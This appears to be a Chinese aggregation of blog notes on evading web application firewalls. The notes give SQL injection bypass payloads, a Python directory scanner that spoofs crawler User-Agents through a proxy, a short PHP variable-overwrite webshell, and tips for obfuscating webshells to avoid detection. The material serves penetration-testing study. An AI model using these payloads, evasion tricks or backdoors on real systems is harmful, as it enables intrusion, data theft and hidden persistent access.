精华内容
下载资源
问答
  • SQL注入WAF绕过
    千次阅读
    2022-03-14 14:39:48

    SQL注入WAF绕过的基本方法

     WAF绕过
    WAF(Web Application Firewall)的中文名称叫做“Web应用防火墙”,它依罪女全策略对Web应用程序进行保护。安全策略是WAF的灵魂,所谓的“绕过WAF”就是指通过某种方式无视WAF的安全策略,达到攻击的目的。

    方法1:变换大小写


    实例:比如WAF拦截了union,那就使用Union、UnloN等方式绕过。

    方法2:编码


    实例1:WAF检测敏感字'~,则可以用Ox7e代替,如extractvalue(1
    ,concat('~',database()))
    可以写成extractvalue(1,concat(Ox7e,database()))。


    实例2: WAF检测敏感字'admin',则可以用0x61646d696e代替,如select name,passfrom users where name='admin'可以替换成select name,pass from users where name=0x61646d696e。

    实例3:WAF检测敏感字select,可以在URL中将select变成%73elEcT
    编码结合大小写变换绕过WAF。


    实例4:可以用%09、%0a、%0b、%Oc、%0d、%a0、/**/、/*somewords*/等来替换空格。

    方法3:利用注释符


    适用于WAF只过滤了一次危险的语句,而没有阻断整个查询语句的场合。
    实例:原查询语句为: ?id=1 union select 1,2,3,对于这条查询,WAF过滤了一次union
    和select,我们可以仕尿旦阅白.loct 122释里面的过滤掉,如?id=1/*union*/union /*select*/select 1,2,3

    方法4:重写


    》适用于WAF只过滤一次敏感字的情况。
    实例:WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3

    方法5:比较操作符替换


    适用于某一比较操作符(如等号)被过滤的情况。

    实例1:!=不等于,<>不等于,<小于,>大于,这些都可以用来替换=来绕过。
    比如要判断某个值是不是74,假设=被过滤,则可以判断是不是大于73,是不是小于75,然后就知道是74了:/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73

    /?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75
    实例2:WAF将=、>、<全部过滤,则可以利用like来绕过,如?id=1' or 1 like 1

    方法6:同功能函数替换>

    适用于某一函数被过滤的情况。
    实例:假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr()等函数来替换,都是用来取字符串的某一位字符的。
    原查询语句: substring((select 'password'),1,1) = Ox70

    替换后的查询语句: substr((select 'password'),1,1)= Ox70
    mid((select 'password'),1,1) = Ox70

    方法7:盲注的活用


    适用于页面无回显或多种函数、逻辑运算符被过滤的情况。

    实例: strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2,
    则函数返回0,expr1<expr2则返回-1,expr1>expr2则返回1。
    假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or ,
    原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用
    index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于Ox42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是正确的。否则就说明不是B,这样猜就不用and和or了.

    方法8:二阶注入


    所谓二阶注入(又称存储型注入)是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。

    普通SQL注入:发生在一个HTTP请求和响应中,对系统的攻击是立即执行的:(1)攻击者在http请求中提交非法输入;(2)应用程序处理非法输入,使用非法输入构造SQL语句;(3)在攻击过程中向攻击者返回结果。
    二阶SQL注入:(1)攻击者在http请求中提交某种经过构思的输入
    (2)应用程序存储该恶意输入(通常保存在数据库中)以便后面使用并响应请求;

    (3)攻击者提交第二次(不同的) http请求;

    (4)为处理第二次http请求,程序会检索存储在数据库中的恶意输入并进行处理,从而导致攻击者构造的SQL查询被执行;

    (5)如果攻击成功,在第二次请求响应中向攻击者返回查询结果。

    方法9:宽字节注入


    适用于数据库使用双字节编码方式(如GBK)、WAF利用AddSlashes()等函数对敏感字符进行转义的场景。
    背景:
    统一的国际规范的理想状态:程序都使用Unicode编码,所有的网站都使用UTF-8编码。
    现状:国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如GBK。也有一些cms为了考虑老用户,所以出了GBK和UTF-8两个版本。

    更多相关内容
  • WAF绕过神器

    2018-12-14 09:02:33
    顾名思义,铁鹰所创建的一款WAF绕过神器1.0版本。。。
  • WAF绕过的各种方法总结总结语2019年7月9日,仅供学习参考,请勿用于非法用途
  • 国外WAF绕过姿势.pdf

    2020-05-09 16:41:11
    Web应用程序防火墙(WAF);应用程序 独立于开发人员保护的设计和web应用程序 是为攻击提供特殊保护的系统。此外,应用程序开发人员 他们自己的功能也有问题
  • 渗透测试之waf绕过基础

    千次阅读 2022-01-23 20:02:34
    此处只针对对于目标网站直接扫描的信息收集讲解,其他辅助信息收集手段如:查旁站/识别cms等手段也不会遇到waf拦截。 1.安全狗—防ddos cenos目前用的不熟练,于是我将服务器系统换成了winserver,搭建上web环境和...

    思维导图:


    一、信息收集

    此处只针对对于目标网站直接扫描的信息收集讲解,其他辅助信息收集手段如:查旁站/识别cms等手段也不会遇到waf拦截。

    1.安全狗—防ddos

     cenos目前用的不熟练,于是我将服务器系统换成了winserver,搭建上web环境和安全狗,打开cc拦截开关,本地用目录扫描工具扫描后被拦截:

    测试测试就行了,不要轻易把本机ip加进黑名单或者用7kbscan扫,否则远程连接直接就断了,反正会被waf狗自动拉黑,但是又不是那个黑白名单功能,我即使将ip加进白名单依旧无法连接上,反正就是waf搞的鬼(不过也不排除是阿里云服务器的内置规则)远程连接连不上,还得去控制台网页重连然后关闭安全狗才能连上!

    2.绕过方法

    我们可以:

    • 伪造user-agent头—UA头伪装为百度等搜索引擎爬虫的信息

           因为大部分waf会默认允许这些搜索引擎批量请求爬取信息(否则网站就垫底没人认识了....)                        各大搜索引擎的User-Agent - iackjee - 博客园

    可以用这款工具,但最好是会写自己的脚本,毕竟自己的用的更方便,工具修改的ua头有限制,而且没法自定义或者抓包。

    import requests
    import time
    
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
        'Cache-Control': 'max-age=0',
        'Connection': 'keep-alive',
        'Cookie': 'PHPSESSID=4d6f9bc8de5e7456fd24d60d2dfd5e5a',
        'sec-ch-ua': '"Chromium";v="92", " Not A;Brand";v="99", "Microsoft Edge";v="92"',
        'sec-ch-ua-mobile': '?0',
        'Sec-Fetch-Dest': 'document',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-Site': 'none',
        'Sec-Fetch-User': '?1',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
    }
    
    for paths in open('top3000.txt'):
        url = "http://127.0.0.1/pikachu"
        paths = paths.replace('\n', '')
        urls = url + paths
        proxy = {
            'http': '127.0.0.1:7777'
        }
        try:
            code = requests.get(urls, headers=headers, proxies=proxy).status_code
            # time.sleep(3)
            print(urls + '|' + str(code))
        except Exception as err:
            print('connect error')
            time.sleep(3)
    
    

    py脚本用top3000.txt文件(字典)来跑,同时可以自己代理抓包修改数据包信息,数据包通过工具再发给服务器;更改ua头为爬虫头来防止被waf封ip:

    • 延时—设置访问间隔时间(防御规则就是短时间访问过大而判断为攻击的)

    • 代理池——http代理,钞能力,免费的自然美收费的稳定:通过调用接口或者脚本爬取到这些ip成字典来不同ip来请求;但waf也能识别出代理访问,不过多用来防cc攻击。

    3.阿里云

    听说绕过好像第一种方法改ua头不行,只能代理池或延时,阿里云设置规则是只要批量一扫就会挂1h;不过我也用的阿里云,测试后用那上边脚本跑了之后也没被拦截,甚至还没出现工具那样一扫就断连的情况,而且waf也没检测到这种批量扫描,可能是把waf绕过了,持观望态度。

    4.宝塔

    插件收费,也懒得搭建了,无法自己演示,规则确实比安全狗更严格。

    waf规则都是写好的死的,我们可以思路打开,比如.bak后缀可以中间加空格或者截断或者编码等方法尝试绕过。

    二、漏洞发现

    1.触发waf

    最常见的三个方法:

    1. 扫描/访问速度过快。
    2. 工具指纹,尤其awvs这些热门工具,waf都有指纹记录识别。
    3. 漏洞payload,之前学的这些漏洞的payload的关键字自然也在waf的拦截字典里。

    2.代理池

    1)免费代理池Proxy_pool项目搭建及使用解释:就是安装个redis数据库,然后开py脚本跑,之间还要调用api接口,将跑出来可以使用的ip写进数据库,之后我们提取出来就可以用,但是ip存活不了多久,更适合爬虫用。详细使用见项目:

            https://github.com/jhao104/proxy_pool

    2)收费代理池:https://www.kuaidaili.com/

    配置好代理和端口就行了,至于其怎么实现请求一次地址就换一个ip的原理目前水平先不用搞懂。

    3.漏扫工具AWVS

    我直接awvs什么没设置直接扫pikachu的sql注入界面,并没有被安全狗拦截,很迷,免费的waf就是不太行,都批量上payload了竟然还没批量扫目录时好用.....。

     可以配合burp看扫描发送的payload放请求(开始的一段时间没有请求,之后又隔一段时间来一大批,很怪):

    宝塔的防护扫描器如awvs机制(检测http信息,这条规则只是简单改ua头就可绕过):

    作为强大的漏扫工具,自然也支持前边进行目录扫描时绕过waf的姿势:代理池/ua头/延时。其他更强大的功能如:登录/整个数据包构造/证书导入之后慢慢发掘吧........

    4.工具缺点

         不同工具扫描时的规则不一样,就拿验证响应为例:当工具被拦截后它只会看响应包是否符合自己源代码中写好的预期解,而判断不了是否被拦截了,只要不符合预期解时(此时可能被拦截了也可能工具误判)就直接判断为没有漏洞,这样就会出现很大失误;

         但工具不开源的话我们是没办法修改源代码来修改规则的,总不能次次手动看响应是否是被拦截导致的或者次次抓包修改请求为自己的预期请求吧!甚至有的工具没法修改ua头的话(xray),总不能自己抓每个包修改ua头吧,请求速度也是如此;倘若开源我们就可以直接改代码二次开发来让其符合自己的需求来或者自己开发的工具绝对符合需求。

          所以,那些自己开发出工具的才是真的大佬!自己开发的才是yyds。或者用多款不同工具来扫总有合适的数据包或者用小众的工具其不会被收集指纹拦截。

    5.awvs+bp+xray

    方法就是awvs+burp和burp+xray来实现。

    6.awvs配代理池:很简单。

    三、漏洞利用

    1)SQL注入:

    sqlmap的指纹记录在waf中,不光要代理池或延时,还要需要修改ua头:

     以及各种用途的插件,比如修改xforward头的插件:

    宝塔相对于安全狗功能确实更全,比如url防护(收费的确实更安全): 

    宝塔拦截界面:(我的安全狗就触发不了,跟假的waf似的)

    常见方法/思路举例:参数污染、特殊字符混淆、mysql黑魔法、换行符等等,思路够“骚”waf就拦不住你。

    之前写的博客:SQL注入之简单的waf绕过_qi_SJQ_的博客-CSDN博客

    sqlmap之waf绕过_qi_SJQ_的博客-CSDN博客_sqlmap绕过waf

    所以说那些基础的payload基本都会被过滤了,想绕过即难又不难,本质就是正则过滤嘛,一看该网站正则过滤有多严格,二看思路够不够“骚”。比如内联注入绕过检测/*就中间加个空格来绕过。前边学各种漏洞原理时也提过一些waf绕过手段,也没有万能的payload,只能逐个测试fuzzing。多看技术前沿文章多总结、积累。

    2)文件上传:

    之前博客提到的思路:数据溢出符号变异分号绕过换行绕过00截断重复数据等等,一个不行就下一个,渗透“测试”嘛,多测试测试,自己能想到的方法都不成功那就是无缘了.....

    之前博客:文件上传漏洞(思路,绕过,修复)_qi_SJQ_的博客-CSDN博客_文件上传绕过方式

    3)xss:

    xss思路就更多了:标签语法替换、特殊符号干扰、垃圾数据溢出等等,那个靶场考验的不就是各种绕过过滤手段吗,就是简单版的waf。

    自己博客:XSS漏洞学习笔记_qi_SJQ_的博客-CSDN博客_xss漏洞学习

    文章:[翻译]绕过XSS检测机制-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

    工具:xsstrike、xwaf(注入时用)

    4)rce:

    思路:加密解密绕过(常见方法不多:url与base64及进制和ascii、unicode;不可逆算法都不行)、异或/无字母参数绕过(p牛文章)、关键字绕过 、变量覆盖加请求方法等等。只要思路够开阔就有空子可钻。

     安全狗着实不行,根本不报,都在服务器命令执行了日志上啥也没有。本机搭建看看waf软件的防护规则,有了防护规则参考那离绕过就能更近一步了。

    同时rce还要看php配置、phpinfo里是否禁用了那些函数。


    四、权限控制

    1.waf绕过简单过程

    我们首先需要绕过扫描waf,之后利用漏洞,同时payload也要绕过waf,尤其shell怎么不被查杀到,而当利用漏洞拿到shell连接时又需要考虑能否连上,比如waf识别shell工具指纹或无法外网连接shell等等。

    所以发现/利用一个漏洞不单单是网页源代码层面绕过就行的,还需要考虑绕过烦人的waf,需要先让payload不让waf拦截后再考虑是否可以当成源代码的exp之后再想办法回显等等。

    2.绕过

    权限维持也就是后门shell免杀,只要不被查杀到就达到目的了。

    #Safedog 代码层手写及脚本绕过:
    • 变量覆盖
    • 加密混淆
    • 异或生成 

    1)变量覆盖:

    <?php
    $a = $_GET['x'];
    $$a= $_GET['y']; //此处先只看$a为b,前边再加上变量声明符$即$$a=$b,b变量由此产生并覆盖。
    $b($_POST['z']);
    ?>
    
    //url?x=b&y=assert   POST传输z变量的即可。
    
    //$a=b->$$a=$b=assert->assert($_POST['z']);

     

     这是php5.4版本下的,高版本好像不支持变量覆盖了。其他语言原理也差不多,安全狗也没有拦截我们输入的参数值,即使assert与phpinfo是敏感关键字。

    虽然这个版本的安全狗不拦截,但是宝塔却会拦截我们的输入:

     因此可以试试用下面这个方法。

    加密传输 (不论base系列还是url编码等等加解密都可以试试):

    <?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b(base64_decode($_POST['z']));
    ?>

     2)加密混淆:

    思路: 既然可以加密传输,就会有其它加密的方法,就有了加密混淆使得 WAF 软件无法检测到关键字段同样达到 WAF 的绕过 。不光php有加密,其他语言的自然也有,需要自己寻找,比如广为人知的jsfuck,不公开的自然没的说。

    PHP 混淆加密脚本下载地址: https://github.com/djunny/enphp

    在线网站:PHP加密|PHP在线加密|PHP混淆 - EnPHP加密平台

     这个加密后虽然看着很乱,但确实有用。(还得cmd配php环境我就没试验。。。)

    3)借用在线API接口实现加密混淆:

    在线网站:会员注册|php源码加密|www.PhpJiaMi.com

     

    看着挺高级,但有的加密需要服务器安装相关php扩展才能识别并解密执行的,总之一堆乱码不会被被waf识别到后门。具体使用就自己参考它的使用说明吧。

    4)异或加密:

    GitHub - yzddmr6/as_webshell_venom: 免杀webshell无限生成工具蚁剑版

    通过python对相关php代码进行异或运算,很强,通杀,可以自己修改代码。

    3.工具

    1)

     

    2)双向加密:

    相比于单向加密,双向加密传输就是发包之前已经加密了,并且从服务器传回来的数据也是加密的,这样绕过WAF的检测。

    冰蝎的双向加密:

    菜刀原理

    先抓取菜刀连接webshell的数据包:

     我们将数据包放到浏览器执行:

    可以看到浏览器与菜刀结果差不多,所以原理就是数据包请求的内容,此为单向加密:

    双向加密,请求和回显都是加密的,采用公私钥加密,回显的render界面明显与冰蝎界面不一样(burp没有私钥所以无法解密):

     冰蝎还有其他后渗透的功能,很强大!

    4.行为

    自己写轮子:

    有时虽然shell可以连上,但是却无法文件操作,这是由于行为被检测到了:可能是waf里有工具的指纹也可能是操作文件的数据包被检测到了。我用冰蝎连阿里云的服务器是,云盾就给我发了好几个预警短信....

    因此,自己需要自己连shell执行命令,可以参考工具的加密方式来写python脚本来连或者浏览器来连,这种方法自然就不会被waf检测到工具的指纹了,就是命令执行的知识点,怎么遍历目录,怎么写文件等等,都可以解密出工具的请求代码来自己写。

    展开全文
  • WAF绕过思路

    千次阅读 2021-03-12 10:49:28
    WAF绕过思路 WAF在渗透测试中,是我们要面对的第一关卡,渗透测试人员对站点WAF的绕过过程就是渗透测试人员与网站管理员(或WAF开发者)进行PK的过程。在对WAF的渗透时,一般可以考虑采用以下方式展开。 一、增加WAF...

    WAF绕过思路

    WAF在渗透测试中,是我们要面对的第一关卡,渗透测试人员对站点WAF的绕过过程就是渗透测试人员与网站管理员(或WAF开发者)进行PK的过程。在对WAF的渗透时,一般可以考虑采用以下方式展开。

    一、增加WAF负担

    WAF是为网站安全服务的,但是WAF的存在如果干扰了网站的正常运行,则会得不偿失,因此,网站管理员一般会恰当的配置WAF,起到在不会干扰网站正常运行的前提下,对用户的输入进行过滤的作用。因此,有些WAF就会设置如果数据包长度过长,就对部分数据包或者是数据包的部分内容进行无检测“放行”,根据这一原理,可以考虑以增加WAF负担的方式,进行绕过WAF。
    1、增加变量参数个数
    有些云WAF,因为配置的原因,在检测参数时,只会检测部分参数,如safedog,只会检测前100个参数,这样,就可以人为的加入很多没有意义的参数,然后把有用的参数放到最后面,就可以绕过云waf的检验了。
    2、增加参数长度
    此方式常见于文件上传漏洞中对于用户文件内容进行检测的场景,增加前面无意义的内容,把webshell放在文件的最后,即可绕过WAF的检验。此外,在进行SQL注入测试时,故意增加url的长度,并将其注释掉,也可以起到一定的效果。在进行XSS测试的时候,加入一些无意义的数据,也可以起到相应相应的作用。
    3、增加WAF负载
    采用这种方式一定要在有把握的情况下进行,原理是有些WAF在进行工作的时候,如果站点流量过大,则为了保证网站的可用性,会放弃对部分数据包的检验。因此,我们可以向WAF大量的发送正常的数据包,同时在其中夹杂异常的数据包,此时或许绕过WAF的检验。当然,在这种情况下,要谨慎的设置攻击模式,避免用此方式对站点造成的宕机。

    二、构造异常数据包

    WAF不是人,因此WAF在进行检验匹配的时候会比较死板(ps:有些云WAF,会采取基于大数据和机器学习算法的防御方式,这个时候就可能比较难以注入),尤其是在采取黑名单为基础的过滤方式情况下,更明显的表现在没有对WAF进行合理配置的情况下,在这种情况下,人为的故意发送异常的数据包,可能会起到绕过WAF的作用。(ps:当然了,构造的数据包也不能过于奇葩,导致服务器站点不能解析数据包中的内容,这样就没用了)
    此外,WAF和网站的配合有时并不会那么完美,有些网站中间健所含有的漏洞,未必被WAF所保护,考虑到WAF是通用配置,在防护Nginx、windows和Apache等不同站点类型的情况下,未必能够配置的那么完美,因此,WAF在设计过程中,存在天然的缺陷,而这些缺陷就可以被我们利用。
    1、双参数绕过
    有时,可以使用双参数绕过的方式来绕过WAF,比如说网站有一个参数id,则可以在数据包中含有两个id参数,这时WAF有可能只检查了第一个id的内容,从而第二个id的poc进入到服务器被执行。
    2、请求方式转换
    有时,WAF会只检验GET类型的包,而忽略掉POST类型的包,或者相反。在这种情况下,就可以修改数据包的类型,尝试绕过数据包。有时,把数据包改成其他的,如request类型或者是根本就不存在的类型也会起到意想不到的效果。
    3、绕过匹配规则
    这里的通用绕过思路,即在进行sql注入测试、XSS测试、文件相关漏洞测试等测试时一些通用的绕过思路,常见的有:
    ①双写绕过
    ②大小写绕过
    ③编码绕过
    ④注释绕过
    ⑤使用不常用的函数
    ⑥文件上传相关绕过方式
    ⑦字符串拼接
    ⑧空白符绕过

    三、绕过WAF

    有时,站点采用了云WAF,此时,如果能够找到真实的服务器IP地址,则可以绕过WAF的检验,在这里,这种方式我先不细讲。除了绕过云WAF之外,由于站点再配置过程中的问题,会存在其他类型的WAF的绕过方式。
    1、旁站绕过
    有时,网站管理员在配置WAF的时候会出现疏漏,针对http和https协议的80和443端口有时并没有全部进行防护,因此,在这种情况下,不妨在地址栏中,把http改为https(或者进行相反的操作),说不定会有意外收获!
    2、表名单绕过
    云WAF在配置过程中,有时会选择“信任”部分数据包,这部分数据包不会被云WAF进行匹配检验,在WAF里维持着一个白名单列表,凡是在符合白名单的要求,WAF就不会进行检测。因此,基于这种思路,我们就可以把我们访问的数据包伪装成白名单上的数据包,这样就可以绕过WAF的检验了。
    ①伪装成爬虫
    有的时候,站点为了提高自己在SEO上的排名,会设置对大型搜引擎的爬虫不做检验,这个时候,只要在数据包中user-agent字段中把原始的信息替换成搜索引擎信息,就可以绕过WAF的检验了。
    ②伪装成自己
    有些网站不会对自己(即物理机上的操作)进行检验,因此,可以在数据包中设置X-FARWARDED-FOR头,或者是X-Originating-IP,将其设置为127.0.0.1,这样就可以绕过WAF了。
    3、目录伪装绕过
    有时,WAF会设置不拦截针对特定目录的数据包,如admin等。有时是通过检测数据包中是否含有指定的关键字符串来判定的。这时,我们可以根据这一特性,通过…/等方式人为的构造含有这些指定目录字符串特性的数据包,从而绕过WAF的检验。360webscan脚本会对admin dede install等目录不做拦截,这样就可以构造含有这些字符串的数据包,从而进行绕过。
    总之,WAF是基于规则的绕过,这样WAF在工作的时候就有天然的缺陷型,限制了WAF作用的发挥,导致想防火墙一样,总是存在着各种各样的绕过姿势。只要渗透测试者认真一点,发挥自己的脑洞,就一定能找到合适的方法进行绕过。

    展开全文
  • 转载至:... WAF绕过思路整理 <div class="entry-meta"> <ul class="post-meta"> <li><span class="posted-on"><time class="entry-date p

    转载至:https://harmoc.com/secnote/waf%E7%BB%95%E8%BF%87%E6%80%9D%E8%B7%AF%E6%95%B4%E7%90%86.html

    WAF绕过思路整理

    方法论

    BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中,但是在应用程序能够执行成功的载荷,绕过防护。
    那些特性就像是一个个特定的场景一样,一些是已经被研究人员发现的,一些是还没被发现,等待被研究人员发现的。当我们的程序满足了这一个个的场景,倘若WAF没有考虑到这些场景,我们就可以利用这些特性bypass掉WAF了。
    例如我们现在需要bypass一个云WAF/IPS/硬件WAF,此处我们可以利用的点就是:

    1.Web服务器层bypass
    2.Web应用程序层bypass
    3.数据库层 bypass
    4.WAF层bypass

    WAF本体

    Web Application Firewall

    分类

    1. 云WAF

    在配置云WAF时(通常是CDN包含的WAF),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云WAF进行检测,如果通过再将数据包流给主机。

    1. 主机防护软件

    在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-WAF这类开源WAF虽然看起来不错,但是有个弱点就是升级的成本会高一些。

    1. 硬件ips/ids防护、硬件WAF

    使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

    1. 软WAF

    软件WAF则是安装在需要防护的服务器上,实现方式通常是WAF监听端口或以Web容器扩展方式进行请求检测和阻断。

    机制

    image.png

    假设客户端访问url:http://www.miku.com/1.php?id=1’and’1’=’1,该请求请求的数据是服务器上数据库中id为1的记录
    假设这台服务器使用了相关云WAF。

    1)一个完整的过程,首先会请求DNS,由于配置云WAF的时候,会修改DNS的解析。我们发送DNS请求之后,域名会被解析到云WAF的ip上去。DNS解析完成之后,获取到域名信息,然后进入下一个步骤。

    2)HTTP协议是应用层协议,且是tcp协议,因此会首先去做TCP的三次握手,此处不去抠三次握手的细节,假设三次握手建立完毕。

    3)发送HTTP请求过去,请求会依次经过云WAF,硬件IPS/IDS设备,硬件WAF设备,服务器,web服务器,主机防护软件/软WAF,WEB程序,数据库。 云WAF,硬件IPS/IDS,硬件WAF均有自己处理数据的方式。

    在获取HTTP数据之前会做TCP重组,重组主要目的是针对互联网数据包在网络上传输的时候会出现乱序的情况,数据包被重组之后就会做协议解析,取出相关的值。如http_method=GET,http_payload=xxx等等。这些值就对应了IPS规则中相关规则的值。从而来判断规则匹配与不匹配。

    Bypass

    Web Server层 bypass

    IIS

    运行在IIS上的程序一般为asp,aspx的。在IIS上我们可以利用的特性:

    1. %特性
      在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

    2. %u特性
      Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect,这样就会形成bypass的可能。

    3. 另类%u特性(ASP+IIS)

      该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。s%u0065lect->select s%u00f0lect->select

    4. 其他trick
      Unicode
      畸形Unicode
      ADS流
      N种HTTP畸形正文
      解析特性
      截断特性
      HPP
      畸形Boundary
      GET/POST分不清
      畸形字符代替正常字符

    Apache

    1. 畸形method
      某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容,如请求为的method为DOTA2,依然返回了aid为2的结果。

    2. php+apache畸形的boundary
      php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。

    3. 解析特性

    4. HPP

    Web应用程序层bypass

    1、大小写/关键字替换

    这是最简单的绕过技术,用来绕过只针对特定关键字,大小写不敏感。

    id=1 UnIoN/**/SeLeCT 1,user()

    将关键字进行等价替换:

    Hex() bin() 等价于ascii()
    Sleep() 等价于 benchmark()
    Mid()substring() 等价于 substr()
    @@user 等价于 User()
    @@Version 等价于 version()

    Encoder

    Json
    Unicode
    base64
    urlencode
    html
    Serialize

    双重URL编码

    双重url编码,即对于浏览器发送的数据进行了两次urlencode操作,如s做一次url编码是%73,再进行一次编码是%25%37%33。一般情况下数据经过WAF设备的时候只会做一次url解码,这样解码之后的数据一般不会匹配到规则,达到了bypass的效果。
    个人理解双重url编码,要求数据在最后被程序执行之前,进行了两次url解码,如果只进行了一次解码,这样在最后的结果也是不会被正确执行的。

    请求获取方式

    变换请求方式

    1)GET,POST,COOKIE
    在web环境下有时候会出现统一参数获取的情况,主要目的就是对于获取的参数进行统一过滤。例如我获取的参数t=select 1 from 2 这个参数可以从get参数中获取,可以从post参数获取,也可以从cookie参数中获取。

    2)urlencode和form-data

    POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。当我们在测试站点的时候,如果发现POST提交的数据被过滤掉了,此时可以考虑使用form-data的方式去提交。

    畸形请求方式

    1)asp/asp.net request解析

    在asp和asp.net中使用参数获取用户的提交的参数一般使用request包,譬如使用request['']来获取的时候可能就会出现问题。

    当使用request['']的形式获取包的时候,会出现GET,POST分不清的情况,譬如可以构造一个请求包,METHOD为GET,但是包中还带有POST的内容和POST的content-type。

    HPP方式

    HPP是指HTTP参数污染。形如以下形式:
    ?id=1&id=2&id=3的形式,此种形式在获取id值的时候不同的web技术获取的值是不一样的。

    id=1&id=2&id=3
    

    得到的结果:
    Asp.net + iis:id=1,2,3
    Asp + iis:id=1,2,3
    Php + apache:id=3
    多种变形:MSSQL:
    大小写:?id=1 UNION/&ID=/SELECT 1,2/&Id=/FROM ADMIN
    GET+POST形式:
    http://192.168.125.140/test/sql.aspx?id=1 union/*
    post: id=2*/select null,null,null
    利用逗号:?id=1 union select 1&id=2&id=3&id=4 from admin–(无逗号形式)
    ?a=1+union/&b=/select+1,pass/&c=/from+users–(分割参数注入)
    无效参数形式:?a=/&sql=xxx&b=/
    备注:a,b为无效参数,让WAF误以为我们输入的语句是在注释符里面执行的所以就不拦截
    溢出形式:?id=1/&id=//&id=//…&id=//&id=/ union select null,system_user,null from INFORMATION_SCHEMA.schemata

    Mysql:
    ?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=…… &id=1 union select 1,2 from admin

    如此可以分析:当WAF获取参数的形式与WEB程序获取参数的形式不一致的时候,就可能出现WAF bypass的可能。

    Ps.此处关键还是要分析WAF对于获取参数的方式是如何处理的。这里也要再提一下的,hpp的灵活运用,譬如有些cms基于url的白名单,因此可以利用hpp的方式在参数一的位置添加白名单目录,参数2的位置添加恶意的payload。形如index.php?a=[whitelist]&a=select 1 union select 2

    4、宽字节

    宽字节关键字对照表:

    union = uю%69яю这里把i不用宽字节 直接url编码 其他的字符都用对应的宽字节
    select = こхlх%уt //t不编码 其他的都宽字节 中间插上%
    from = цR%яэ //宽字节+%
    空格=%20=%ва //в是2的款字符 а是0的宽字符
    , = Ь //,号的宽字节

    数据库层bypass

    sql注入bypass WAF时,根据数据库特性去构造。

    一般一个SQL语句组成包括如下几个位置:

    select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

    通过对常见有5个位置进行FUZZ,可以探索更多能够绕过WAF的数据库特性。

    数据库特性

    • 注释
    #
    --
    -- -
    --+
    //
    /**/
    /*letmetest*/
    ;%00
    • 科学计数法
      1e1{union from}

    • 空白字符

      SQLite3 0A 0D 0C 09 20
      Mysql %09,%0a,%0b,%0c,%0d,%a0
      PosgresSQL 0A 0D 0C 09 20
      Oracle 11g 00 0A 0D 0C 09 20
      MSSQL
      01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
    • +号:

    • -号:

    • “符号:

    • ~号:

    • !

    • @\形式\:

    • 点号.1:

    • 单引号双引号:

    • 括号select(1)

    • {括号

    • \n符号

    mysql

    常见过滤的位置
    1. 参数和union之间的位置
      (1):\Nunion的形式:
      (2):浮点数的形式如1.1,8.0
      (3):8e0的形式:
      (4): 利用/*!50000*/的形式

    2. union和select之前的位置
      (1)空白字符
      (2)注释
      (3)使用括号

    3. union select后的位置
      (1)空白字符
      (2)注释
      (3)其他方式:【这里需要考虑的是有时候union select和select from可能是两个规则,这里先整理union select的】
      括号:select(1)from

    4. select from之间的位置
      (1)空白字符
      (2)注释
      (3)其他符号

    ``符号
    +,-,!,~,’”
    *号
    {号
    (号
    1. select from 之后的位置
      (1)空白字符
      (2)注释
      (3)其他符号
    常见过滤的函数&关键字

    union distinct
    union distinctrow
    procedure analyse()
    updatexml()
    extracavalue()
    exp()
    ceil()
    atan()
    sqrt()
    floor()
    ceiling()
    tan()
    rand()
    sign()
    greatest()
    字符串截取函数
    Mid(version(),1,1)
    Substr(version(),1,1)
    Substring(version(),1,1)
    Lpad(version(),1,1)
    Rpad(version(),1,1)
    Left(version(),1)
